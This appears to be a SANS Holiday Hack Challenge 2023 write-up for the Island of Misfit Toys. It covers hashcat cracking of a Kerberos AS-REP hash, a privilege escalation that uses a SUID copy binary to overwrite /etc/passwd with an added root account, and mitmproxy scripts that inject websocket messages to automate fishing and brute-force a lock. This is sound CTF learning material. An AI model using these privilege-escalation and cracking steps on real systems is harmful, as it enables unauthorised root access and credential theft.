Skip to content

Island of Misfit Toys⚓︎

Plot a course to the whimsical Island of Misfit Toys aboard our ship. Employ the arrow keys on the keyboard or the WASD keys to navigate, as the island is situated in the bottom-right corner of the map. May your journey be filled with the charm of misfit toys and the joy of exploration! Safe travels!

map

There are three different ports available:

Port of Scaredy-kite Heights⚓︎

While exploring the Island of Misfit Toys, we discover the Port of Scaredy-kite Heights. Upon reaching it, a "Dock Now" option is presented to us.

docknow

The dock featured the Goose of the Island of Misfit Toys to greet us!

dock

When we make land, we obtain new objectives on arrival.

Hashcat (Island of Misfit Toys)

Eve Snowshoes is trying to recover a password. Head to the Island of Misfit Toys and take a crack at it!

Linux PrivEsc (Island of Misfit Toys)

Rosemold is in Ostrich Saloon on the Island of Misfit Toys. Give her a hand with escalation for a tip about hidden islands.

Full Island (Zoomed Out)

zoom30

Hashcat⚓︎

Hashcat (Island of Misfit Toys)

Eve Snowshoes is trying to recover a password. Head to the Island of Misfit Toys and take a crack at it!

If we go to the right of the Goose of Island of Misfit Toys, we find Eve Snowshoes close to a challenge.

eve

When we startup the challenge, it spins up a tmux terminal:

hashcat

Challenge Startup Text
In a realm of bytes and digital cheer,
The festive season brings a challenge near.
Santa's code has twists that may enthrall,
It's up to you to decode them all.

Hidden deep in the snow is a kerberos token,
Its type and form, in whispers, spoken.
From reindeers' leaps to the elfish toast,
Might the secret be in an ASREP roast?

`hashcat`, your reindeer, so spry and true,
Will leap through hashes, bringing answers to you.
But heed this advice to temper your pace,
`-w 1 -u 1 --kernel-accel 1 --kernel-loops 1`, just in case.

For within this quest, speed isn't the key,
Patience and thought will set the answers free.
So include these flags, let your command be slow,
And watch as the right solutions begin to show.

For hints on the hash, when you feel quite adrift,
This festive link, your spirits, will lift:
https://hashcat.net/wiki/doku.php?id=example_hashes

And when in doubt of `hashcat`'s might,
The CLI docs will guide you right:
https://hashcat.net/wiki/doku.php?id=hashcat

Once you've cracked it, with joy and glee so raw,
Run /bin/runtoanswer, without a flaw.
Submit the password for Alabaster Snowball,
Only then can you claim the prize, the best of all.

So light up your terminal, with commands so grand,
Crack the code, with `hashcat` in hand!
Merry Cracking to each, by the pixelated moon's light,
May your hashes be merry, and your codes so right!

* Determine the hash type in hash.txt and perform a wordlist cracking attempt to find which password is correct and submit it to /bin/runtoanswer .*

Identifying the correct hash type is the first step. I print out the hash and password list provided and transfer them over to my own Kali VM.

elf@58d3d01a5e96:~$ cat hash.txt && echo
$krb5asrep$23$alabaster_snowball@XMAS.LOCAL:22865a2bceeaa73227ea4021879eda02$8f07417379e610e2dcb0621462fec3675bb5a850aba31837d541e50c622dc5faee60e48e019256e466d29b4d8c43cbf5bf7264b12c21737499cfcb73d95a903005a6ab6d9689ddd2772b908fc0d0aef43bb34db66af1dddb55b64937d3c7d7e93a91a7f303fef96e17d7f5479bae25c0183e74822ac652e92a56d0251bb5d975c2f2b63f4458526824f2c3dc1f1fcbacb2f6e52022ba6e6b401660b43b5070409cac0cc6223a2bf1b4b415574d7132f2607e12075f7cd2f8674c33e40d8ed55628f1c3eb08dbb8845b0f3bae708784c805b9a3f4b78ddf6830ad0e9eafb07980d7f2e270d8dd1966
elf@58d3d01a5e96:~$ cat password_list.txt && echo
..[snip]..

We are able identified the hash quickly using haiti hash identifier:

$ haiti $(cat hash.txt)
Kerberos 5 AS-REP etype 23 [HC: 18200] [JtR: krb5asrep]

It also is able to be found using hashcat --example-hashes:

$ hashcat --example-hashes
Hash mode #18200
  Name................: Kerberos 5, etype 23, AS-REP
  Category............: Network Protocol
  Slow.Hash...........: No
  Password.Len.Min....: 0
  Password.Len.Max....: 256
  Salt.Type...........: Embedded
  Salt.Len.Min........: 0
  Salt.Len.Max........: 256
  Kernel.Type(s)......: pure, optimized
  Example.Hash.Format.: plain
  Example.Hash........: $krb5asrep$23$user@domain.com:3e156ada591263b8a...102ac

We proceed to crack the hash on our host machine, utilizing dedicated hardware, as the cracking process can be time-consuming and slow with just a virtual CPU. If running this in a VM, the --force option can be used.

$ hashcat -a 0 -m 18200 hash.txt password_list.txt
$krb5asrep$23$alabaster_snowball@XMAS.LOCAL:22865a2bceeaa73227ea4021879eda02$8f07417379e610e2dcb0621462fec3675bb5a850aba31837d541e50c622dc5faee60e48e019256e466d29b4d8c43cbf5bf7264b12c21737499cfcb73d95a903005a6ab6d9689ddd2772b908fc0d0aef43bb34db66af1dddb55b64937d3c7d7e93a91a7f303fef96e17d7f5479bae25c0183e74822ac652e92a56d0251bb5d975c2f2b63f4458526824f2c3dc1f1fcbacb2f6e52022ba6e6b401660b43b5070409cac0cc6223a2bf1b4b415574d7132f2607e12075f7cd2f8674c33e40d8ed55628f1c3eb08dbb8845b0f3bae708784c805b9a3f4b78ddf6830ad0e9eafb07980d7f2e270d8dd1966:IluvC4ndyC4nes!

We submit our answer using /bin/runtoanswer and obtain an achievement!

elf@c62abca8f788:~$ /bin/runtoanswer
What is the password for the hash in /home/elf/hash.txt ?

> IluvC4ndyC4nes!
Your answer: IluvC4ndyC4nes!

Checking....
Your answer is correct!
Achievement

Congratulations! You have completed the Hashcat challenge!

Linux PrivESC⚓︎

Linux PrivEsc (Island of Misfit Toys)

Rosemold is in Ostrich Saloon on the Island of Misfit Toys. Give her a hand with escalation for a tip about hidden islands.

If we go to the right of the Eve Snowshoes, we find a Saloon that we can enter!

saloon

I found Rose Mold inside and close to a challenge.

rose

When speaking with Rose Mold, we obtain the following hints:

Linux Command Injection

Use the privileged binary to overwriting a file to escalate privileges could be a solution, but there's an easier method if you pass it a crafty argument.

Linux Privilege Escalation Techniques

There's various ways to escalate privileges on a Linux system.

When we startup the challenge, it spins up a tmux terminal:

startup

In a digital winter wonderland we play,
Where elves and bytes in harmony lay.
This festive terminal is clear and bright,
Escalate privileges, and bring forth the light.

Start in the land of bash, where you reside,
But to win this game, to root you must glide.
Climb the ladder, permissions to seize,
Unravel the mystery, with elegance and ease.

There lies a gift, in the root's domain,
An executable file to run, the prize you'll obtain.
The game is won, the challenge complete,
Merry Christmas to all, and to all, a root feat!

* Find a method to escalate privileges inside this terminal and then run the binary in /root *

Looking for SUID binaries. we find an unusual one of /usr/bin/simplecopy that is dated Dec 2 22:17 which is a dead-giveaway that it isn't part of normal Linux system binaries.

elf@57f5baee95f4:~$ find / -perm -4000 -ls -o -perm -g=s -ls -o -perm -u=s -ls 2>/dev/null
  1315468      4 drwxrwsr-x   2 root     staff        4096 Apr 15  2020 /var/local
  1315481      4 drwxrwsr-x   2 root     mail         4096 Nov 28 02:03 /var/mail
  1312417     84 -rwsr-xr-x   1 root     root        85064 Nov 29  2022 /usr/bin/chfn
  1312423     52 -rwsr-xr-x   1 root     root        53040 Nov 29  2022 /usr/bin/chsh
  1312541     56 -rwsr-xr-x   1 root     root        55528 May 30  2023 /usr/bin/mount
  1312467     32 -rwxr-sr-x   1 root     shadow      31312 Nov 29  2022 /usr/bin/expiry
  1312546     44 -rwsr-xr-x   1 root     root        44784 Nov 29  2022 /usr/bin/newgrp
  1312620     68 -rwsr-xr-x   1 root     root        67816 May 30  2023 /usr/bin/su
  1312659     36 -rwxr-sr-x   1 root     tty         35048 May 30  2023 /usr/bin/wall
  1312414     84 -rwxr-sr-x   1 root     shadow      84512 Nov 29  2022 /usr/bin/chage
  1312484     88 -rwsr-xr-x   1 root     root        88464 Nov 29  2022 /usr/bin/gpasswd
  1312645     40 -rwsr-xr-x   1 root     root        39144 May 30  2023 /usr/bin/umount
  1312557     68 -rwsr-xr-x   1 root     root        68208 Nov 29  2022 /usr/bin/passwd
  1457015     20 -rwsr-xr-x   1 root     root        16952 Dec  2 22:17 /usr/bin/simplecopy
  1314117     44 -rwxr-sr-x   1 root     shadow      43168 Feb  2  2023 /usr/sbin/pam_extrausers_chkpwd
  1314148     44 -rwxr-sr-x   1 root     shadow      43160 Feb  2  2023 /usr/sbin/unix_chkpwd

Just running it seems like it's a cp wrapper at first:

elf@57f5baee95f4:~$ simplecopy
Usage: simplecopy <source> <destination>
elf@57f5baee95f4:~$ strings /bin/simplecopy
..[snip]..
Usage: %s <source> <destination>
cp %s %s
:*3$"
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0

We are able to copy the contents of the /root folder to /tmp:

elf@57f5baee95f4:~$ simplecopy  /root/* /tmp
elf@57f5baee95f4:~$ ls -la /tmp
total 608
drwxrwxrwt 1 root root   4096 Dec 29 18:36 .
drwxr-xr-x 1 root root   4096 Dec 29 18:29 ..
-rwx------ 1 root root 612560 Dec 29 18:36 runmetoanswer

So since we can administratively copy any file on the system, we can try to add a new root user!

Technique

Unless a centralized credential system such as Active Directory or LDAP is used, Linux passwords are generally stored in /etc/shadow, which is not readable by normal users. Historically however, password hashes, along with other account information, were stored in the world-readable file /etc/passwd. For backwards compatibility, if a password hash is present in the second column of a /etc/passwd user record, it is considered valid for authentication and it takes precedence over the respective entry in /etc/shadow if available. This means that if we can write into the /etc/passwd file, we can effectively set an arbitrary password for any account.

Here is how we can demonstrate this technique:

  1. Generate a new password hash using openssl (Note: openssl is not installed)
openssl passwd password
RPKW3OxcBoAUw
  1. Copy the original /etc/passwd file. Note its a good practice to back it up prior.
elf@93c42791faaa:~$ cp /etc/passwd /tmp/passwd
elf@93c42791faaa:~$ cp /etc/passwd /tmp/passwd.bak
  1. Add the duplicate root user line.
elf@93c42791faaa:~$ echo "root2:RPKW3OxcBoAUw:0:0:root:/root:/bin/bash" >> /tmp/passwd
  1. Copy over the original /etc/passwd with the new file.
elf@93c42791faaa:~$ simplecopy /tmp/passwd /etc/passwd
  1. Now we can switch-user as root2:
elf@93c42791faaa:~$ su root2
Password: password
root@93c42791faaa:~# id
uid=0(root) gid=0(root) groups=0(root)

We submit our answer using /root/runtoanswer:

root@93c42791faaa:~# /root/runmetoanswer
Who delivers Christmas presents?

> santa
Your answer: santa

Checking....
Your answer is correct!

solved

??? success "Achievement" ! You have completed the Linux PrivEsc challenge!

When speaking with Rose Mold previously after completing Linux PrivESC challenge, we obtain the following hint:

Uncharted

Not all the areas around Geese Islands have been mapped, and may contain wonderous treasures. Go exploring, hunt for treasure, and find the pirate's booty!

Port of Squarewhell Yard⚓︎

While exploring the Island of Misfit Toys, we discover the Port of Squarewhell Yard. Upon reaching it, a "Dock Now" option is presented to us.

docknow

The dock featured the Goose of the Island of Misfit Toys and Poinsettia McMittens to greet us!

dock

When we make land, we obtain new objectives on arrival.

Luggage Lock (Island of Misfit Toys)

Help Garland Candlesticks on the Island of Misfit Toys get back into his luggage by finding the correct position for all four dials

When speaking with Poinsettia McMittens, we obtain the following hints:

Fishing Machine

There are a variety of strategies for automating repetitive website tasks. Tools such as AutoKey and AutoIt allow you to programmatically examine elements on the screen and emulate user inputs.

I Am Become Data

One approach to automating web tasks entails the browser's developer console. Browsers' console allow us to manipulate objects, inspect code, and even interact with websockets.

When speaking with Poinsettia McMittens, we obtain the following objectives:

BONUS! Fishing Guide

Catch twenty different species of fish that live around Geese Islands. When you're done, report your findings to Poinsettia McMittens on the Island of Misfit Toys.

BONUS! Fishing Mastery

Catch at least one of each species of fish that live around Geese islands. When you're done, report your findings to Poinsettia McMittens.

Full Island (Zoomed Out)

zoom30

Fishing Guide⚓︎

BONUS! Fishing Guide

Catch twenty different species of fish that live around Geese Islands. When you're done, report your findings to Poinsettia McMittens on the Island of Misfit Toys.

While navigating at sea, we can click on our Pescadex to view all the fish we have already caught!

pescadex

All the fish images are stored based on their hash name at https://2023.holidayhackchallenge.com/sea/assets/fish/

After we caught 20 fish, we unlocked an achievement by talking to Poinsettia McMittens on the Island of Misfit Toys at the Squarewheel Yard dock.

Achievement

Congratulations! You have completed the BONUS! Fishing Guide challenge!

Fishing Mastery⚓︎

BONUS! Fishing Mastery

Catch at least one of each species of fish that live around Geese islands. When you're done, report your findings to Poinsettia McMittens.

While navigating at sea, the client.js file, responsible for ship navigation in JavaScript, was examined. The analysis revealed the establishment of a WebSocket connection to ${websockHost}?dockSlip=${UrlParams.dockSlip}, as illustrated below:

dockslip

The results of analyzing the server-side websocket messages as shown below:

  • e: Provides data (userid, coordinates, velocity, colors of ship) on other player's in the area
  • v: Provides x/y coordinates, uid, fishing Boolean onTheLine Boolean (colon separated)
  • p: Provides port information (explored only)
  • z: Provides port information (within dock location)
  • i: Provides my user settings, explored ports, etc.
  • b: ? - Some type of block data
  • k: Provides error messages such as This URL is invalid. Please log in to HHC and try again.
  • x: Contain data (userid) on other player's in the area
  • t: ? - Some sort of notification
  • m: Contains race results (time, track, scoreboard position)
  • h: Provides race starting locations "hotspots"
  • a: Provides AHOY data when clicking the AHOY! button (such as time, duration, location)
  • f: Provides fish data

The results of analyzing the client-side websocket messages are shown below:

  • ks: Keyboard data sent from client

The Keys definition encompasses all possible combinations. Both the wasd and arrow keys are mapped to identical values. The ANCHOR is associated with the spacebar, while the BOOST function is linked to the b key.

const Keys = {
    UP: 1,
    RIGHT: 2,
    LEFT: 4,
    DOWN: 8,
    ANCHOR: 16,
    BOOST: 32,
    w: 1,
    d: 2,
    a: 4,
    s: 8,
};

Unknowing how many more fish there were, I created an automated fishing utility so when I am standing in place for a bit or Away From Keyboard (AFK), it can fish for me! This was created

We can also automate this by using mitmdump with a Python addon to automate the replacement:

mitm_sail.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""This script is used to inject a websocket message into a running connection using mitmdump.
Usage: reset; sudo mitmdump -s mitm_sail.py --listen-port 9000 --set flow_detail=0
Reference: https://mitmproxy.org/
Holiday Hack 2023 - Sailing
"""

# Imports
from datetime import datetime
from mitmproxy import ctx
from mitmproxy import http
import json
import math

# Constants
AUTOCAST_MIN_TIME = 3
VERBOSE_ALL_WS = False
VERBOSE_STATUS = False
KEYS = {"UP": 1, "RIGHT": 2, "LEFT": 4, "DOWN": 8, "ANCHOR": 16, "BOOST": 32}
DIRECTIONS = {1: "N", 2: "E", 4: "W", 8: "S"}

# Globals
gdata = {"uid": None, "dir": None, "x": None, "y": None, "vx": 0, "vy": 0, "fishing": None, "racetrack": None, "canFish": False, "onTheLine": ""}
fish_caught = {}
race_startpoints = None
race_waypoints = None
autocast_time = None


def calculate_state(message):
    active_keys = set()
    direction_keys = []

    for key, value in KEYS.items():
        if int(message) & value:
            active_keys.add(key)
            direction_keys.append(value)

    # Convert specific directions
    direction = "".join(DIRECTIONS[key] for key in direction_keys if key in DIRECTIONS)
    if direction == "ES":
        direction = "SE"
    elif direction == "EN":
        direction = "NE"
    return direction, active_keys


def parse_message(flow, raw_message):
    global gdata, autocast_time, race_startpoints, race_waypoints, fish_caught
    if not raw_message.is_text or len(raw_message.text) < 2:
        return flow
    if ":" in raw_message.text:
        split_colon = raw_message.text.split(":", 1)
        mode = split_colon[0]
        message = split_colon[1]
    elif raw_message.text == "cast":
        ctx.log.info("Fishing started!")
        gdata["fishing"] = True
        return flow
    elif raw_message.text == "reel":
        ctx.log.info("Fishing ended!")
        gdata["fishing"] = False
        return flow
    elif raw_message.text == "bank":
        ctx.log.info("Docked the boat!")
        gdata["canFish"] = False
        return flow
    elif raw_message.text == "quit_race":
        ctx.log.info("Race ended!")
        gdata["racetrack"] = None
        race_waypoints = None
        return flow
    elif raw_message.text == "ahoy!":
        return flow
    else:
        ctx.log.alert(f"Not sure how to parse Message: '{raw_message.text}'")
        mode = ""
        message = raw_message.text

    if mode == "e":
        # Updates (only when things change)
        data = json.loads(message)
        uid_str = str(gdata["uid"])
        updated_flag = False
        unparsed = []
        if uid_str in data:
            for key, value in data[uid_str].items():
                if key in gdata:
                    # Compare values
                    if isinstance(value, (float, complex)):
                        if not math.isclose(gdata[key], value):
                            updated_flag = True
                    elif gdata[key] != value:
                        updated_flag = True
                    gdata[key] = value
                    if abs(gdata["vx"]) > 0.1 or abs(gdata["vy"]) > 0.1:
                        gdata["canFish"] = False
                elif key == "race":
                    if "waypoints" in value:
                        race_waypoints = value["waypoints"]
                    if not gdata["racetrack"]:
                        # Race started
                        if race_startpoints:
                            for race in race_startpoints:
                                if value["name"] == race["name"]:
                                    ctx.log.alert(f'Started {race["name"]} ({race["x"]}, {race["y"]}) Waypoints: {json.dumps(race_waypoints)}')
                                    break
                    if "name" in value:
                        gdata["racetrack"] = value["name"]
                elif key == "fishCaught":
                    if not fish_caught:
                        pass
                    elif len(value) != len(fish_caught):
                        caught_names = set(fish["name"] for fish in fish_caught)
                        new_fish = next((fish for fish in value if fish["name"] not in caught_names), None)
                        if new_fish:
                            ctx.log.alert(f'NEW FISH CAUGHT! {new_fish["name"]} ({new_fish["hash"]}) - {new_fish["description"]})')
                    fish_caught = value
                elif key in ["username", "o", "config", "bearing", "ports", "showOthers", "keyState", "colors", "progress"]:
                    pass
                elif key in ["c", "raceId", "raceTimes", "raceIndex", "startConfig", "raceKeystrokes"]:
                    # Race in progress
                    pass
                elif key == "hotspotLatch" and value:
                    ctx.log.info("Race ended - Out of time")
                    gdata["racetrack"] = None
                    race_waypoints = None
                elif key in ["port"]:
                    # Within port
                    pass
                else:
                    unparsed.append(key)
            if unparsed:
                ctx.log.alert(f"{mode} - Unparsed {unparsed}: '{raw_message.text}'")

        if updated_flag:
            VERBOSE_STATUS and ctx.log.info(f"{mode} - User information => {json.dumps(gdata)}")
            if gdata["fishing"] and gdata["onTheLine"]:
                # Autoreel
                ctx.log.alert(f'{gdata["onTheLine"]} on the hook -> Automatically reeling')
                ctx.master.commands.call("inject.websocket", flow, raw_message.from_client, b"reel")
                gdata["fishing"] = False
    elif mode == "v":
        # Updates, [uid, x, y, o, fishing]
        data = message.split(":")
        data = list(map(float, data))
        updated_flag = False
        for i in range(0, len(data), 5):
            if gdata["uid"] == data[i]:
                if isinstance(data[i + 1], (float, complex)):
                    if not math.isclose(gdata["x"], data[i + 1]):
                        updated_flag = True
                elif gdata["x"] != data[i + 1]:
                    updated_flag = True
                if isinstance(data[i + 2], (float, complex)):
                    if not math.isclose(gdata["y"], data[i + 2]):
                        updated_flag = True
                elif gdata["y"] != data[i + 2]:
                    updated_flag = True
                gdata["x"] = data[i + 1]
                gdata["y"] = data[i + 2]
                gdata["fishing"] = bool(data[i + 4])
        if updated_flag:
            VERBOSE_STATUS and ctx.log.info(f"{mode} - User information => {json.dumps(gdata)}")

    elif mode == "p":
        # Port information (explored only)
        return flow

    elif mode == "z":
        # Port information (within dock location)
        return flow

    elif mode == "i":
        # Initial user data
        data = json.loads(message)
        for key, value in data.items():
            if key in gdata and gdata[key] != value:
                gdata[key] = value
        ctx.log.info(f"{mode} - Initial User information => {json.dumps(gdata)}")
        gdata["canFish"] = True  # Not docked

    elif mode == "k":
        # Error data
        data = json.loads(message)
        if "msg" in data:
            if "msg" in data:
                ctx.log.error(f"{mode} - ERROR: {data['msg']}")
        return flow

    elif mode == "x":
        # Contains data (userid) on other player's in the area
        # x:41154
        return flow

    elif mode == "m":
        # Race results
        data = json.loads(message)
        if "type" in data and data["type"] == "race_results":
            gdata["racetrack"] = None
            race_waypoints = None
            if "data" in data:
                ctx.log.info(f"{mode} - Race results => {json.dumps(data['data'])}")
        return flow

    elif mode == "h":
        # Hotspots
        race_startpoints = json.loads(message)
        return flow

    elif mode == "a":
        # Ahoy data
        return flow

    elif mode == "f":
        # Fish data
        data = json.loads(message)
        if "fish" in data and data["fish"]:
            fish_data = data["fish"]
            ctx.log.info(f'{mode} - Caught {fish_data["name"]}, {round(fish_data["rarity"] * 100, 1)}%')
        return flow

    elif mode == "ks":
        # Keyboard events (client)
        # ks:1
        direction, active_keys = calculate_state(message)
        if "ANCHOR" in active_keys:
            ctx.log.info(f"Stopping")
            gdata["dir"] = None
            gdata["canFish"] = True
        elif direction and gdata["dir"] != direction:
            VERBOSE_STATUS and ctx.log.info(f"Heading in {direction}")
        if direction:
            gdata["dir"] = direction
            gdata["fishing"] = False
            gdata["canFish"] = False
            if not "BOOST" in active_keys:
                # Always boost
                ks = "ks:" + str(int(message) | KEYS["BOOST"])
                flow.websocket.messages[-1].content = ks.encode()
                flow.websocket.messages[-1].text = ks
                # ctx.master.commands.call("inject.websocket", flow, raw_message.from_client, ks.encode)
    else:
        ctx.log.alert(f"{mode} - Unable to parse message: '{raw_message.text}'")

    # Autocast
    if not gdata["fishing"] and not gdata["racetrack"] and gdata["canFish"]:
        if not autocast_time:
            autocast_time = datetime.now()
        elif (datetime.now() - autocast_time).total_seconds() >= AUTOCAST_MIN_TIME:
            ctx.log.alert(f"Automatically casting ...")
            ctx.master.commands.call("inject.websocket", flow, raw_message.from_client, b"cast")
            gdata["fishing"] = True
    else:
        autocast_time = None

    return flow


def websocket_message(flow: http.HTTPFlow):
    assert flow.websocket is not None
    message = flow.websocket.messages[-1]
    address = "Client" if message.from_client else "Server"
    if message.is_text:
        VERBOSE_ALL_WS and ctx.log.info(f"url:{flow.request.url} and path:{flow.request.path} - {address} sent a message: {message.text}")
    else:
        VERBOSE_ALL_WS and ctx.log.info(f"url:{flow.request.url} and path:{flow.request.path} - {address} sent a message: {message.content!r}")
    if flow.request.url.startswith("https://2023.holidayhackchallenge.com/") and "?dockSlip=" in flow.request.path:
        flow = parse_message(flow, message)

To enable SSL trust, add the mitmdump certificate to your browser by visiting http://mitm.it/. We also then need to setup FoxyProxy and point it to the mitmdump on port 9000. We can also point our browser directly to this proxy or combine it with Burp and set the upstream server to port 9000 for the specific host:

burp-upstream

We can see it is able to automatically cast and reel successfully. Note, this opens TCP Port 9000 on execution.

mitm_sail.py
reset; sudo mitmdump -s mitm_sail.py --listen-port 9000 --set flow_detail=0
...[snip]..
[16:31:39.080] Automatically casting ...
[16:31:39.081] Fishing started!
[16:31:42.052] Whirly Snuffleback Trout on the hook -> Automatically reeling
[16:31:42.058] Fishing ended!
[16:31:42.109] f - Caught Whirly Snuffleback Trout, 54.4%
[16:31:45.088] Automatically casting ...
[16:31:45.092] Fishing started!

Having run this overnight, we successfully caught 170 fish! Initially thinking we were finished, it turns out there are actually 171 fish, with one mysteriously absent.

While tackling additional challenges, I stumbled upon an intriguing comment labeled as [DEV ONLY] in the reference section of https://2023.holidayhackchallenge.com/sea/?dockSlip=:

<!-- <a href='fishdensityref.html'>[DEV ONLY] Fish Density Reference</a> -->

This comment referred to a hidden html page that loaded contained a fish density overlays for the minimap that can be used to find rare fish. This page loads all the densities of all the fish. The respective images are loaded in the page via hyperlinks of the format https://2023.holidayhackchallenge.com/sea/assets/noise/<fish_name>.png.

With the help of ChatGPT, we were able to regex all of the fish names and come up with 171 total!

# Total of 171 fish
cat fishdensityref.html | grep -oP 'h3>\K[^<]*' | sort -u > fish.txt
cat fish.txt | wc -l
171

Next we need to find the fish that we are missing:

diff <( cat fish.txt ) <( cat fish.json | jq -r '.[].name' | sort -u )
97d96
< Piscis Cyberneticus Skodo

Using the minimap, we can overlay one of these fish density maps ontop of it:

wget https://2023.holidayhackchallenge.com/sea/assets/noise/Piscis%20Cyberneticus%20Skodo.png -O Piscis.png
wget https://2023.holidayhackchallenge.com/sea/assets/minimap.png
convert -compose over -background none Piscis.png minimap.png -flatten minimap-Piscis.png

overlayed

In the sole fishing spot shown above, after an hour, we finally caught our missing fish among the 171 total. This achievement was unlocked by speaking to Poinsettia McMittens at the Squarewheel Yard dock on the Island of Misfit Toys.

Achievement

Congratulations! You have completed the BONUS! Fishing Mastery challenge!

Luggage Lock⚓︎

Luggage Lock (Island of Misfit Toys)

Help Garland Candlesticks on the Island of Misfit Toys get back into his luggage by finding the correct position for all four dials

If we moving to the south-western part of the island, we find Garland Candlesticks close to a challenge in a flowerbed.

garland

When speaking with Garland Candlesticks, we obtain the following hint:

Lock Talk

Check out Chris Elgee's talk regarding his and his wife's luggage. Sounds weird but interesting!

After reviewing Chris Elgee's talk, he goes over three techniques to solve the lock on the suitcase:

  1. There are notches on sides of buttons that when aligned can provide insight into the combination. Turn them all together in the same direction and attempt to open.
  2. Apply slight pressure on TSA Keyhole and turn the buttons. They will get stuck on the valid numbers.
  3. Bruteforce all combinations (obvious)

When we startup the challenge, it spins up a luggage lock decoder window:

startup

Technique 2 - TSA Keyhole Pressure⚓︎

Clicking the TSA Keyhole button (x1-2) and turn the buttons. Eventually there will be a "Dial resistance ..." popup at the top of the screen to signify that it is the correct digit, as shown below:

dialresistance

Do this for all tumblers selected and challenge complete!

Technique 3 - Socket.io Man-in-the-Middle⚓︎

Upon scrutinizing the traffic in BurpSuite within the WebSockets history, it becomes apparent that a Socket.io connection is being established. Furthermore, the server is transmitting and receiving information regarding guesses and their success status.

burphistory

Working our way back, we can find how our selection of 1-4 wheels is sent to the server and then the socket.io connection is created from there.

wheels

We can also automate this by using mitmdump with a Python addon to automate the replacement:

mitm_lock.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""This script is used to inject a websocket message into a running connection using mitmdump.
Usage: reset; sudo mitmdump -s mitm_lock.py --listen-port 9000 --set flow_detail=0
Reference: https://mitmproxy.org/
Holiday Hack 2023 - Luggage Lock
"""

# Imports
from mitmproxy import ctx
from mitmproxy import http
from itertools import product
import json
from random import shuffle
import re

# Constants
URL = "https://lockdecode.com/"
DEBUG = False

# Globals
g_wheels = None  # starts/stops attempts, stores # of wheels
g_combos = None  # stores all combos
g_lastcombo = None  # stores last combo for printing


def parse_socketio(flow, raw_message):
    global g_wheels, g_combos, g_lastcombo
    if raw_message.is_text:
        data = raw_message.text
        if data.startswith("42"):
            # Parse socket.io message, 42["message",{"Type":"Open","Success":"False"}]
            try:
                data = json.loads(data[2:])[1]
            except json.JSONDecodeError as e:
                ctx.log.error("Error decoding JSON:", e)
            except (IndexError, KeyError) as e:
                ctx.log.error("Error accessing data:", e)
            ctx.log.alert(f"Received {json.dumps(data)}")
        if g_wheels:
            if g_lastcombo and data and isinstance(data, dict) and data.get("Type") == "Open" and data.get("Success", "").lower() == "true":
                # Valid combination - reset for next game
                ctx.log.alert(f"VALID COMBINATION: {g_lastcombo}")
                g_wheels = None
                g_combos = None
                g_lastcombo = None
            else:
                if not g_combos and (isinstance(data, dict) or data == "6"):
                    # Initial - Generate all combinations of strings, 6 is sent from server to acknowledge when everything is ready
                    g_combos = ["".join(map(str, combo)) for combo in product(range(10), repeat=g_wheels)]
                    shuffle(g_combos)
                if g_combos:
                    # Bruteforcing
                    g_lastcombo = g_combos.pop(0)
                    ctx.log.alert(f"ATTEMPT {g_lastcombo} ...")
                    new_message = ["message", {"Type": "Open", "Combo": f"{g_lastcombo}"}]
                    ctx.master.commands.call("inject.websocket", flow, raw_message.from_client, f"42{json.dumps(new_message)}".encode())

    return flow


def websocket_message(flow: http.HTTPFlow):
    assert flow.websocket is not None
    message = flow.websocket.messages[-1]
    address = "Client" if message.from_client else "Server"
    if flow.request.url.startswith(URL):
        if message.is_text:
            DEBUG and ctx.log.info(f"WS - url:{flow.request.url} and path:{flow.request.path} - {address} sent a message: {message.text}")
        else:
            DEBUG and ctx.log.info(f"WS - url:{flow.request.url} and path:{flow.request.path} - {address} sent a message: {message.content!r}")
        if not message.from_client:
            # Parse server socket.io messages
            flow = parse_socketio(flow, message)


def request(flow: http.HTTPFlow):
    global g_wheels
    assert flow.request is not None
    if flow.request.url.startswith(URL):
        DEBUG and ctx.log.info(f"HTTP - url:{flow.request.url} and path:{flow.request.path} - req:{flow.request.data.content}")
    # Fetch wheels from HTTP request
    if flow.request.url.startswith("https://lockdecode.com/game") and b"wheels" in flow.request.data.content:
        match = re.search(r"wheels=(\d+)", flow.request.data.content.decode("utf-8"))
        if match:
            g_wheels = int(match.group(1))
            ctx.log.alert(f"WHEELS: {g_wheels}")


def response(flow: http.HTTPFlow):
    assert flow.response is not None
    if flow.request.url.startswith(URL):
        DEBUG and ctx.log.info(
            f"HTTP - url:{flow.request.url} and path:{flow.request.path} - req:{flow.request.data.content} resp:{flow.response.data.content}"
        )

To enable SSL trust, add the mitmdump certificate to your browser by visiting http://mitm.it/. We also then need to setup FoxyProxy and point it to the mitmdump on port 9000. We can also point our browser directly to this proxy or combine it with Burp and set the upstream server to port 9000 for the specific host:

upstream

We can see it bruteforces Four Wheels (4-digit combinations, 10000 possible, range: 0000-9999) successfully. Note, this opens TCP Port 9000 on execution.

mitm_lock.py
reset; sudo mitmdump -s mitm_lock.py --listen-port 9000 --set flow_detail=0
[16:23:58.281] WHEELS: 4
[16:23:59.718][192.168.0.10:64141] client connect
[16:23:59.965][192.168.0.10:64141] server connect lockdecode.com:443 (34.111.47.250:443)
[16:24:00.431] Received {"Type": "Setup", "Probabilities": [[0.32666666666666666, 0.16666666666666666, 0.21333333333333335, 0.26666666666666666, 0.21666666666666667, 0.18999999999999997, 0.25666666666666665, 0.6733333333333333, 0.17666666666666667, 0.2333333333333333], [0.7133333333333334, 0.049999999999999996, 0.15, 0.07333333333333333, 0.18666666666666668, 0.32, 0.2866666666666667, 0.023333333333333334, 0.006666666666666667, 0.24], [0.18000000000000002, 0.9033333333333333, 0.20666666666666667, 0.20666666666666667, 0.21666666666666667, 0.3, 0.27, 0.11, 0.11333333333333334, 0.2733333333333333], [0.17666666666666667, 0.8533333333333333, 0.18333333333333335, 0.3233333333333333, 0.09333333333333334, 0.19666666666666666, 0.0, 0.013333333333333334, 0.2733333333333333, 0.02666666666666667]], "PlayerId": "c56f2bf5-f13a-46ea-92db-efed5fb26cdb"}
..[snip]..
[16:24:05.420] Received {"Type": "Open", "Success": "False"}
[16:24:05.420] ATTEMPT 1188 ...
[16:24:05.452] Received {"Type": "Open", "Success": "True", "Token": {"hash": "null"}, "PlayerId": "212137bb-a565-437f-be1d-eb7f8bf2c218"}
[16:24:05.452] VALID COMBINATION: 1188

Luggage unlocks:

unlock4

When the luggage opens:

inluggage

Achievement

Congratulations! You have completed the Luggage Lock challenge!

Port of Tarnished Trove⚓︎

